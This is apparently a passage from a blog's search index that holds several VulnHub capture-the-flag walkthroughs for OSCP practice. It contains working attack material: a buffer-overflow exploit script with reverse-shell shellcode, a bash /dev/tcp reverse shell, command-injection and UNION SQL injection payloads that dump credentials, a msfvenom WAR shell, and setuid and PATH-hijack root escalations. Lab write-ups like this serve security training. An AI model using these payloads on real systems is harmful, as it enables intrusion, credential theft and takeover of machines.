\\x00 only as a bad character.\nNow lets find the JMP ESP.\n!mona jmp -r esp -cpb \u0026#34;\\x00\u0026#34; There is only one pointer and it is as shown below. 311712f3\nNow let\u0026rsquo;s create an exploit using msfvenom.\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.19 LPORT=4444 EXITFUNC=thread -b \u0026#34;\\x00\u0026#34; -f Python Now our final script looks like this.\nimport socket ip = \u0026#34;10.0.0.18\u0026#34; port = 9999 prefix = \u0026#34;\u0026#34; offset = 524 overflow = \u0026#34;A\u0026#34; * offset retn = \u0026#34;\\xf3\\x12\\x17\\x31\u0026#34; padding = \u0026#34;\\x90\u0026#34; * 16 postfix = \u0026#34;\u0026#34; buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print(\u0026#34;Sending evil buffer...\u0026#34;) s.send(bytes(buffer + \u0026#34;\\r\\n\u0026#34;, \u0026#34;latin-1\u0026#34;)) print(\u0026#34;Done!\u0026#34;) e#!/usr/bin/python3 import sys, socket overflow =( b\u0026#34;\\xda\\xd9\\xd9\\x74\\x24\\xf4\\x5d\\xbb\\x83\\x49\\xfa\\x9b\\x33\u0026#34; b\u0026#34;\\xc9\\xb1\\x52\\x31\\x5d\\x17\\x83\\xc5\\x04\\x03\\xde\\x5a\\x18\u0026#34; b\u0026#34;\\x6e\\x1c\\xb4\\x5e\\x91\\xdc\\x45\\x3f\\x1b\\x39\\x74\\x7f\\x7f\u0026#34; b\u0026#34;\\x4a\\x27\\x4f\\x0b\\x1e\\xc4\\x24\\x59\\x8a\\x5f\\x48\\x76\\xbd\u0026#34; b\u0026#34;\\xe8\\xe7\\xa0\\xf0\\xe9\\x54\\x90\\x93\\x69\\xa7\\xc5\\x73\\x53\u0026#34; b\u0026#34;\\x68\\x18\\x72\\x94\\x95\\xd1\\x26\\x4d\\xd1\\x44\\xd6\\xfa\\xaf\u0026#34; b\u0026#34;\\x54\\x5d\\xb0\\x3e\\xdd\\x82\\x01\\x40\\xcc\\x15\\x19\\x1b\\xce\u0026#34; b\u0026#34;\\x94\\xce\\x17\\x47\\x8e\\x13\\x1d\\x11\\x25\\xe7\\xe9\\xa0\\xef\u0026#34; b\u0026#34;\\x39\\x11\\x0e\\xce\\xf5\\xe0\\x4e\\x17\\x31\\x1b\\x25\\x61\\x41\u0026#34; b\u0026#34;\\xa6\\x3e\\xb6\\x3b\\x7c\\xca\\x2c\\x9b\\xf7\\x6c\\x88\\x1d\\xdb\u0026#34; b\u0026#34;\\xeb\\x5b\\x11\\x90\\x78\\x03\\x36\\x27\\xac\\x38\\x42\\xac\\x53\u0026#34; b\u0026#34;\\xee\\xc2\\xf6\\x77\\x2a\\x8e\\xad\\x16\\x6b\\x6a\\x03\\x26\\x6b\u0026#34; b\u0026#34;\\xd5\\xfc\\x82\\xe0\\xf8\\xe9\\xbe\\xab\\x94\\xde\\xf2\\x53\\x65\u0026#34; b\u0026#34;\\x49\\x84\\x20\\x57\\xd6\\x3e\\xae\\xdb\\x9f\\x98\\x29\\x1b\\x8a\u0026#34; b\u0026#34;\\x5d\\xa5\\xe2\\x35\\x9e\\xec\\x20\\x61\\xce\\x86\\x81\\x0a\\x85\u0026#34; b\u0026#34;\\x56\\x2d\\xdf\\x0a\\x06\\x81\\xb0\\xea\\xf6\\x61\\x61\\x83\\x1c\u0026#34; b\u0026#34;\\x6e\\x5e\\xb3\\x1f\\xa4\\xf7\\x5e\\xda\\x2f\\xf2\\x9e\\xe4\\xbc\u0026#34; b\u0026#34;\\x6a\\x9d\\xe4\\xd3\\x36\\x28\\x02\\xb9\\xd6\\x7c\\x9d\\x56\\x4e\u0026#34; b\u0026#34;\\x25\\x55\\xc6\\x8f\\xf3\\x10\\xc8\\x04\\xf0\\xe5\\x87\\xec\\x7d\u0026#34; b\u0026#34;\\xf5\\x70\\x1d\\xc8\\xa7\\xd7\\x22\\xe6\\xcf\\xb4\\xb1\\x6d\\x0f\u0026#34; b\u0026#34;\\xb2\\xa9\\x39\\x58\\x93\\x1c\\x30\\x0c\\x09\\x06\\xea\\x32\\xd0\u0026#34; b\u0026#34;\\xde\\xd5\\xf6\\x0f\\x23\\xdb\\xf7\\xc2\\x1f\\xff\\xe7\\x1a\\x9f\u0026#34; b\u0026#34;\\xbb\\x53\\xf3\\xf6\\x15\\x0d\\xb5\\xa0\\xd7\\xe7\\x6f\\x1e\\xbe\u0026#34; b\u0026#34;\\x6f\\xe9\\x6c\\x01\\xe9\\xf6\\xb8\\xf7\\x15\\x46\\x15\\x4e\\x2a\u0026#34; b\u0026#34;\\x67\\xf1\\x46\\x53\\x95\\x61\\xa8\\x8e\\x1d\\x81\\x4b\\x1a\\x68\u0026#34; b\u0026#34;\\x2a\\xd2\\xcf\\xd1\\x37\\xe5\\x3a\\x15\\x4e\\x66\\xce\\xe6\\xb5\u0026#34; b\u0026#34;\\x76\\xbb\\xe3\\xf2\\x30\\x50\\x9e\\x6b\\xd5\\x56\\x0d\\x8b\\xfc\u0026#34; ) shellcode = b\u0026#34;A\u0026#34; * 524 + b\u0026#34;\\xf3\\x12\\x17\\x31\u0026#34; + b\u0026#34;\\x90\u0026#34; * 16 + overflow try: s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\u0026#39;10.0.0.20\u0026#39;,9999)) payload = shellcode s.send((payload)) s.close() except: print (\u0026#34;Error connecting to the server\u0026#34;) sys.exit() Now I set up a listener and run that script. I get the reverse shell. This is through my windows VM, now I am going to try this exploit on the victim machine and hope to get a reverse shell.\nYes, I got the reverse shell from the victim machine,\nNow changing the shell to bin/sh.\nNow I spun another reverse shell using a bash script to make a stable shell.\nNow running sudo -l I can see puck user can run a command as root without password,\nThis command can do a few things.\nWe can run a manual of any command. Now it also uses less command to show the manuals. Now less has the vulnerability that when run as root if you use ! and type any command that command will run as root too. So here I will run.\n`sudo /home/anansi/bin/anansi_util manual wget\nNow I am going to type !/bin/bash which will run as root and provide us with a privileged shell.\nNow I have root access.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-brainpan/","summary":"This box is from VulnHub and is in the TJ NuLL list of boxes for OSCP preparation. I am not going into deep details in this write-through, but there is a deep dive through of buffer-overflow here. This box involved the following steps.\nWeb Enumeration BufferOverflow Exploit for RCE less command sudo exploit for Privilege Escalation As always I am going to start with the autorecon scan. The initial Nmap scan result is as below.","title":"Brainpan VulnHUB Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumerating SSH Web Directory Enumeration SQL Injection Linux Kernel Exploitation for Privilege Escalation I started with the initial Nmap scan and can only find one port open and that too ssh. The initial Nmap Scan result is as below.\nHost is up, received arp-response (0.00040s latency). Scanned at 2022-04-04 21:44:39 EDT for 7s Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) Uptime guess: 198.046 days (since Sat Sep 18 20:38:01 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.40 ms 10.0.0.17 Now when there is only one port open and if that is ssh then I always guess there must be a ssh banner and there must be some information hidden in it. There did exist a banner.\nIt says Knock Friend to Enter, Easy as 1,2,3. Let\u0026rsquo;s try knocking using 1,2,3.\nnc -w 1 10.0.0.17 1;nc -w 1 10.0.0.17 2; nc -w 1 10.0.0.17 3 Now we have a new port on our Nmap scan. port:1337 . I will start a new nmap script scan on port 1337.\nIt turns out to be a web page.\nI run the gobuster but couldn\u0026rsquo;t find anything interesting. Then I ran a nikto scan and found something interesting.\nnikto -h 10.0.0.17:1337 Nikto can showed /icons/README . Going to the page, I was greeted with another picture.\nLooking at the source code I find a base64 encoded message. Going to cyberchef I found it double encoded.\nwe are closer as mentioned in the code.\nSo I found a new directory. /978345210/index.php. So the page is a login to Gates of Mordor.\nNow I tried everything to perform the manual injection. Failed miserable. So I went on with using sqlmap. Leter if I am able to perform manual exploit I will update thee blog.\nsqlmap -o -u http://10.0.0.17:1337/978345210/index.php --forms -dbs -vvv\nIt gives us name of database on the server.\nFrom those database I am interested in Webapp. So lets find the tables inside the Webapp database.\nsqlmap -o -u http://10.0.0.17:1337/978345210/index.php --forms -D Webapp --tables -vvv Now lets find the columns inside the table Users. i can see interesting column names.\nLets dump all data from the table Users.\nI am going to ssh into the system with these username and password combination. Only the smeagol:MyPreciousR00t combination worked. And I am into the system.\nI ran linpeas script and there are few avenues for priv escalation.\nQuick search on the linux version priv escalation led me to the exploit-db page.\nLets upload that 39166.c file to the target system and compile it. We get root after executing the compiled file.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-lordoftheroot/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumerating SSH Web Directory Enumeration SQL Injection Linux Kernel Exploitation for Privilege Escalation I started with the initial Nmap scan and can only find one port open and that too ssh. The initial Nmap Scan result is as below.\nHost is up, received arp-response (0.00040s latency).","title":"LordOfTheRoot VulnHub Walkthrough"},{"content":"This box is from VulnHub and is in the TJ NuLL list of boxes for OSCP preparation. This box involved the following steps:\nEnumeration HTTP OpenSSL vulnerability Exploit Python decomilation for password extraction The initial Nmap scan result is as below.\nNmap scan report for 10.0.0.14 Host is up, received arp-response (0.00034s latency). Scanned at 2022-04-04 02:00:59 EDT for 14s Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 de:89:a2:de:45:e7:d6:3d:ef:e9:bd:b4:b6:68:ca:6d (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvkgmVahuBlxM6WUy6NSEAmWnYQbfKfrHwxT0rlZleQQ6Hyjd435lLBiA1kSyHzYxQ2l2WhiXefSycEtI8FntMjnOEFahCgobvsP5HblaUGAxmh+RPId+/U0OPwbF8WEtE2aM7ynaJ3eJt02iyHoFSTICNNiwAMX1sde/ADI2zXkssrjerwyTJLrI5JO1girvHJcJxJWvS3HFHyZbksKK6giPy7E8Q6Uz0sp5p+Qx4iqZ9kHkwwLZ+Yk56BupHZDvjDWx9Pi8qhnlwgaqUj/RbG/eEylxRtqQn2i1A6TQrWMcMTpN+P25Ws9TPV8cRiDQwEX+bx30HHgc5AQ+YDRkf | 256 1d:98:4a:db:a2:e0:cc:68:38:93:d0:52:2a:1a:aa:96 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDyK5qz3tcYxvzJVZO2izBdS3LucZE0hUU4mOTja1WHO7Ma3plgqQoL52O+svarU9eHvf0sW5GqD02Bf+4ZQbWo= | 256 3d:8a:6b:92:0d:ba:37:82:9e:c3:27:18:b6:01:cd:98 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEOKeds8hqs+e9SnwnrnhhoV8IRh/CUlCgMmdTroLiuG 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET | ssl-cert: Subject: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo/emailAddress=n30@weakness.jth/localityName=Amman | Issuer: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo/emailAddress=n30@weakness.jth/localityName=Amman | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-05-05T11:12:54 | Not valid after: 2019-05-05T11:12:54 | MD5: f921 c4be 2c6e 89d6 adaf a7c2 8f39 a87d | SHA-1: 0b44 5a28 c4da 0bf8 b308 a782 4081 1218 101e 0feb | -----BEGIN CERTIFICATE----- | MIID0DCCArigAwIBAgIJAPo2he2sLvFHMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV | BAYTAmpvMQ8wDQYDVQQIDAZKb3JkYW4xDjAMBgNVBAcMBUFtbWFuMRUwEwYDVQQK | DAx3ZWFrbmVzcy5qdGgxFTATBgNVBAMMDHdlYWtuZXNzLmp0aDEfMB0GCSqGSIb3 | DQEJARYQbjMwQHdlYWtuZXNzLmp0aDAeFw0xODA1MDUxMTEyNTRaFw0xOTA1MDUx | MTEyNTRaMH0xCzAJBgNVBAYTAmpvMQ8wDQYDVQQIDAZKb3JkYW4xDjAMBgNVBAcM | BUFtbWFuMRUwEwYDVQQKDAx3ZWFrbmVzcy5qdGgxFTATBgNVBAMMDHdlYWtuZXNz | Lmp0aDEfMB0GCSqGSIb3DQEJARYQbjMwQHdlYWtuZXNzLmp0aDCCASIwDQYJKoZI | hvcNAQEBBQADggEPADCCAQoCggEBANq345qdUACB07H/jIZ+VTL3029pbwbiB2Ew | 2ZoS0DpiIlz5Fvcd15/Diw/b2uCfXrTa7ka2wYeSP+hpipI6oKTB8+7nRuh+cugv | bApck+17nDe7MeE30s7hO33QPHoCPrWmM6Z53vhF/ur3cyd9osKrAg9oPCXMBBKV | e5/s+gW9c7mfn2u+tHm6nAVKScxVoFdXld0c7OKOZDqFLKK7zLPa5iHKIW9wadYC | c71OAAA5tx5fcn4xVBjOSBQUMOqJMHER1sUMOpqrsyHme84TulgNTck24ndyiHcE | DfkBlOaA+qWDwcxFw22NFkAeg3/ry/J6gTBrQkCRsh3Ncbgd/IsCAwEAAaNTMFEw | HQYDVR0OBBYEFJQs/y0qng9kHtd0p7JuPc/Vq+iWMB8GA1UdIwQYMBaAFJQs/y0q | ng9kHtd0p7JuPc/Vq+iWMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD | ggEBAMDHIAbnghNdTW/dG9xLyTLkPZYsaAeKgq8B8D5HfNy5Oo7A3dUIit0fvjJv | AFTV16v8dwWPv6mjWwf1Npzl9JNHiT+437ZO+eBn3utIwYa8nl58ZyMC2gZCo0/4 | htEK3RgIFnjU2qiBeEBHk+Z6chF4AWVtxJa+mXx4RfUPwK5+WwOUOY9QbymR8cUI | 1qlPDrP3MTuDj8OY9ts17L/XLcyKTkX2zuDIS8wBgt+WoOCb6Hy9s4/PGYwJT5iy | KVlQicmEiKU70In1cpPF1FSV7iLpMQXhspJADJ0lPTzc7WEpIoySpxX8SVQ8cq4b | d07ykwyD+BS8XzcuFQgI/8ek0as= |_-----END CERTIFICATE----- |_http-server-header: Apache/2.4.29 (Ubuntu) |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 MAC Address: 08:00:27:35:DA:AB (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 17.442 days (since Thu Mar 17 15:24:50 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=253 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.34 ms 10.0.0.14 In our initial nmap scan, I saw hostname weakness.jth . Let\u0026rsquo;s add that in the /etc/hosts and see if there is something. Yes, there is a website running with a message about following the rabbit. Does it mean rabbit-hole? Let\u0026rsquo;s find out. I will run a gobuster scan. We can see there is an email on the SSL certificate n30@weakness.jth . n30 may be the username.\nI didn\u0026rsquo;t find anything interesting directory in 10.0.0.14 but /private in weakness.jth gave us a key and a note.\nNow as the version of openssl is provided, I guess it be vulnerable to something and quick searchsploit results proves it.\nSo apparently that version of OpenSSL can only create a set number of ssh keys, I have downloaded the tar file which contains ssh keys as mentioned on the image. Let\u0026rsquo;s find our public key in that list and grab a private key from there. There is a match with the public key file.\nSo as the folder contains private and public keys, we just grab the private key now and try to ssh into the system. We do have n30 as a suspected username from our SSL certificate enumeration.\nssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@10.0.0.14 We are able to login to the system.\nNow I can see two python compiled files. Downloading those files to my host system, I was able to decompile them. It consists of a password for the n30 user.\nSo the password for user n30 is dMASDNB!!#B!#!#33.\nAnd to my surprise, n30 user can run all sudo commands without a password.\nThis box was fun to exploit and was excited to learn about the OpenSSL vulnerabilty.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-w34kness/","summary":"This box is from VulnHub and is in the TJ NuLL list of boxes for OSCP preparation. This box involved the following steps:\nEnumeration HTTP OpenSSL vulnerability Exploit Python decomilation for password extraction The initial Nmap scan result is as below.\nNmap scan report for 10.0.0.14 Host is up, received arp-response (0.00034s latency). Scanned at 2022-04-04 02:00:59 EDT for 14s Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.","title":"W34KNESS VulnHUB Walkthrough"},{"content":" This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration HTTP Command Injection abd Bypassing Sanitization Enumerating folders A good Guessing ( Which I failed to do) I always start my enumeration from autorecon. The initial Nmap scan showed only one port (80) open. However all port scan showed one more port and the result is as below.\nNmap scan report for 10.0.0.13 Host is up, received arp-response (0.00025s latency). Scanned at 2022-04-03 20:34:33 EDT for 11s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 4 disallowed entries | /login.php /dev_shell.php /lat_memo.html |_/passwords.html | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.25 (Debian) 25468/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA) Uptime guess: 198.838 days (since Fri Sep 17 00:27:25 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.25 ms 10.0.0.13 I will start my enumeration process from web(port 80). Website mentioned it was recently hacked and they have disabled login.\nlogin.php is currently not activated for outside the intranet. However, /dev_shell.php consists of a web-shell where we can run commands.\nThis query is vulnerable to command injection. I was able to get the out from pwd command.\nI was also able to see the /etc/passwd file.\nsomething%0Acat%20/etc/passwd I was able to list the files in directory and downloaded de_shell.php.bak in my device. There is sanitization of few commands according to the source code.\nWe can\u0026rsquo;t use a few commands and ; . So we can use the normal bash reverse shell command.\nbash -c \u0026#39;exec bash -i \u0026amp;\u0026gt;/dev/tcp/192.168.110.4/1337 \u0026lt;\u0026amp;1\u0026#39; I succeeded in getting the reverse shell.\nChecking on the hidden files in home directory of bob I can see a interesting file .old_passwordfile.html . There is password for user jc and seb\nBoth of these passwords work for their respective account. Now looking around we find few more interesting files. I also found login.txt.gpg which is encrypted using GPG. I tried cracking it using John but no luck.\nI tried a few kernel exploits and sudo exploits and was stuck here for a few hours. Later looking at the hint. I found that there is a password in notes.sh file located inside the bob directory,\nNow using HARPOCRATS I was able to decrypt the gpg file.\nI found the username and password for user bob, who is the admin for this system. bob:b0bcat_ And bob can run all sudo commands.\nLet\u0026rsquo;s get root now. Easy because bob can run all sudo commands and we have his password.\nEasy and straight box until where we had to guess the password.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-bob/","summary":"This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration HTTP Command Injection abd Bypassing Sanitization Enumerating folders A good Guessing ( Which I failed to do) I always start my enumeration from autorecon. The initial Nmap scan showed only one port (80) open. However all port scan showed one more port and the result is as below.","title":"Bob VulnHUB Walkthrough"},{"content":" This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration of port 80 Gobuster for directory enumeration SUID binary exploitation for privilege escalation I always start with an autorecon scan. Initial nmap scan results are as below:\nNot shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian)) |_http-title: Clean Blog - Start Bootstrap Theme | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-server-header: Apache/2.4.10 (Debian) 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) MAC Address: 08:00:27:DC:87:15 (Oracle VirtualBox virtual NIC) TRACEROUTE HOP RTT ADDRESS 1 0.44 ms 10.0.0.12 I will now move to port 80 web enumeration. A quick gobuster scan resulted in a few interesting directories.\n/admin looks like an interesting directory. It consists of a note with a password in it.\nSo, there is a password 12345ted123. From the password, I guessed the username to be ted. I tried to ssh to the target and was successful.\nLooking around cannot find anything interesting. After running the linpeas script. I see there are few interesting avenues for priv escalation.\nI will follow both vectors for privilege escalation. Let\u0026rsquo;s start with /usr/bin/mawk .\nFollowing the online code from gtfobins. I was able to gain a root shell.\n/usr/bin/mawk \u0026#39;BEGIN {system(\u0026#34;/bin/sh\u0026#34;)}\u0026#39; Now let\u0026rsquo;s follow the python avenue. I can see that it has a SUID binary set. When running this python it runs as a root. And I just called system command to run the shell inside the python terminal to get root.\n__import__(\u0026#39;os\u0026#39;).system(\u0026#39;/bin/sh\u0026#39;) This box is rated easy and it was fun to perform the exploit.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-toppo/","summary":"This box was downloaded from VulnHub and is also on the list of practice boxes for OSCP preparation. The box involved the following steps:\nEnumeration of port 80 Gobuster for directory enumeration SUID binary exploitation for privilege escalation I always start with an autorecon scan. Initial nmap scan results are as below:\nNot shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 6.","title":"Toppo VulnHUB Walkthrough"},{"content":"This box is downloaded from VulnHub and is also on the list of Tj Null OSCP preparation. this box involved the following steps.\nMetadata of an image Brute Forcing a Webpage UNION SQL Injection PATH exploit for privilege escaltion I am going to start with the autorecon scan of the box. The Nmap scan result is as below.\ncanned at 2022-04-03 06:22:48 EDT for 15s Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.10 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Null Byte 00 - level 1 |_http-server-header: Apache/2.4.10 (Debian) 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) 777/tcp open ssh syn-ack ttl 64 OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA) | ssh-dss 53472/tcp open status syn-ack ttl 64 1 (RPC #100024) MAC Address: 08:00:27:D8:50:42 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Uptime guess: 198.839 days (since Thu Sep 16 10:15:20 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms 10.0.0.11 There is a web port open. I am starting my enumeration from there.\nThere is nothing interesting in the source code. I am going to download the image to look for metadata. Also at the same time start my gobuster login.\nFound something in comment on the image. It turns out to be the hidden directory.\nChecking the exif data and comment using exiftool.\nVisiting the hidden directory, it has input field with key.\nNow looking at the source it is mentioned that the password is not complex. I started fuzzing the password with the rockyou list on ZAP. I got hit within a minute. Password is elite.\nNow entering with password it takes us to another page, where there is a query place for username.\nI typed \u0026quot; into the query and it returned the following error, which proves that this query is vulnerable to SQL injection.\nNow I typed \u0026quot; or 1=1 #1 and it returned the following results.\nThis type of SQL-Injection is typically known as error-based SQL Injection as we can see error from our SQL query. Now I am going to find the number of columns using order by the query. I will need the number of columns to run the UNION query for SQL Injection. My query will be \u0026quot; ORDER BY 1 # in incremental order unless I get an error. I got an error on number 4. So the number of columns is 3.\nNow I am going to find the type of data on those columns (i.e string, numbers etc). I used this query \u0026quot; UNION SELECT 'a','b','c' #. This did not return any error so we can assume that all the fields of columns are strings.\nNow let\u0026rsquo;s find the list of names of the database from the server.\n\u0026#34; UNION SELECT group_concat(schema_name),\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39; from information_schema.schemata# We know that we have\ninformation_schema mysql performance_schema phpmyadmin seth. So seth looks a little different. Let\u0026rsquo;s target seth database to dump all content. I am going to find the table inside the seth database.\n\u0026#34; UNION SELECT group_concat(table_name),\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39; from information_schema.tables where table_schema=\u0026#39;seth\u0026#39;# So the name of the table is users. Now I am going to find the name of the columns inside the users table.\n\u0026#34; UNION SELECT group_concat(column_name,\u0026#39;\\n\u0026#39;),\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39; from information_schema.columns where table_name=\u0026#39;users\u0026#39;# So the columns inside the table users are:\nid user pass position Now I am dumping all the data inside the users table.\n\u0026#34; UNION SELECT group_concat(id,\u0026#39;:\u0026#39;,user,\u0026#39;:\u0026#39;,pass,\u0026#39;:\u0026#39;,position,\u0026#39;\\n\u0026#39;),\u0026#39;b\u0026#39;,\u0026#39;cybersec.science\u0026#39; from seth.users # I can see there is a hash for the user ramses. I tried cracking the hash into crackstation.net but it failed. I then turned it into cyberchef and base64 decode it. It looked like the md5 hash now and went back to crackstation.net, where it was successful to crack it and the password is omega.\nNow using the ramses:omega I was able to log in using ssh.\nI will run the linpeas script to find any avenue for privilege escalation. I could not find anything interesting from linpeas script. So I started looking for the most popular folders. I started with the home folders for all users. I then moved to /opt and after that went to the web folder ( by web I mean /var/www/ . Where I found a backup directory that is owned by root. Moving inside the backup folder I found a lovely red folder with SUID set.\nNow running the SUID binary, it looks like it runs ps to check the process.\nLet\u0026rsquo;s try to exploit the PATH for ps script.\necho \u0026#34;/bin/sh\u0026#34; \u0026gt; ps chmod +x ps export PATH=/var/www/backup:$PATH $PATH ./procwatch Now we are root.\nThis room was easy and fun. Helped to sharpen my enumeration skills.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-nullbyte/","summary":"This box is downloaded from VulnHub and is also on the list of Tj Null OSCP preparation. this box involved the following steps.\nMetadata of an image Brute Forcing a Webpage UNION SQL Injection PATH exploit for privilege escaltion I am going to start with the autorecon scan of the box. The Nmap scan result is as below.\ncanned at 2022-04-03 06:22:48 EDT for 15s Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.","title":"NullByte VulnHUB Walkthrough"},{"content":"This box is from the Tj NULL list for OSCP preparation and can be downloaded from vulnhub. This box exploitation involved following steps:\nEnumerating most common ports Enumeration and Enumeration Looking deep and everywhere Wireshark decryting SSL packets Exploiting init.d write permission to Privelege escalation. I started with the nMap scan. I use autorecon for nmap scan and to my surprise this box had all ports open. So I decided to start with most popular ports.\nPort 21 FTP declined to connect. I moved to port 80. I saw a webserver running.\nI started looking from the source code and saw the base64 code hidden. It double encoded and it returned pgibbons:damnitfeel$goodtobeagang$ta after decoding.\nI did a nmap script scan on port 80 and it returned some interesting details.\nI found the impresscms portal. It has a login page and I used the username and password found before and we are in.\nLooking around the CMS found few interesting stuff.\nI downloaded the pcap file. But most of the packets are encrypted. We do have the .keystore file and password from above.\nNow I had no idea how to do this. After long research, I found that we need to convert the .keystore which is a java key file to .p12 format and import it to Wireshark for decryption. I found a cool app to convert the .keystore to p12 format. Application is key-store explorer and you just import he .keystore file and export it to any format you like, p12 in this case.\nWireshark Edit -\u0026gt;Preferences -\u0026gt; Protocols -\u0026gt;TLS -\u0026gt;edit RSA keys And I imported that key to the TLS protocol in wireshark, after which I was able to decrypt the packets.\nSo I found another port 8443 running HTTPS SSL. And when I followed the TLS path in Wireshark, I found a base64 encoded text.\nIts another username and password\nNow the main trouble began. No matter what I try to open the https://192.168.110.140:8443/_M@nag3Me/html my browser failed. I opened a inbuilt browser in burpsuite and was able to get access to the site, but it asked for a password. I tried the password found from wireshark.\nI got in. It is a tomcat web application manager.\nFound an upload file location where we can upload the WAR file to deploy. I hope this gives us a shell.\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=4444 -f war -o shell.war Upload the payload and you will see your file in the Application list. Click the payload and you get the reverse shell.\nRunning Linpeas got me something.\nNow I spent nearly more than 2 hours to exploit this. I edited the portly.sh file to contain the below link. I created a hello.c file and compiled it using gcc. What this does is give SUID to hello and it when run gives us root access.\nchown root:root /var/www/html/images/hello chmod 4755 /var/www/html/images/hello On the other side, I went to /var/www/html/images and created hello.c\nint main() { setgid(0); setuid(0); system(\u0026#34;/bin/bash\u0026#34;); } Then compiled it using gcc hello.c -o hello . Then 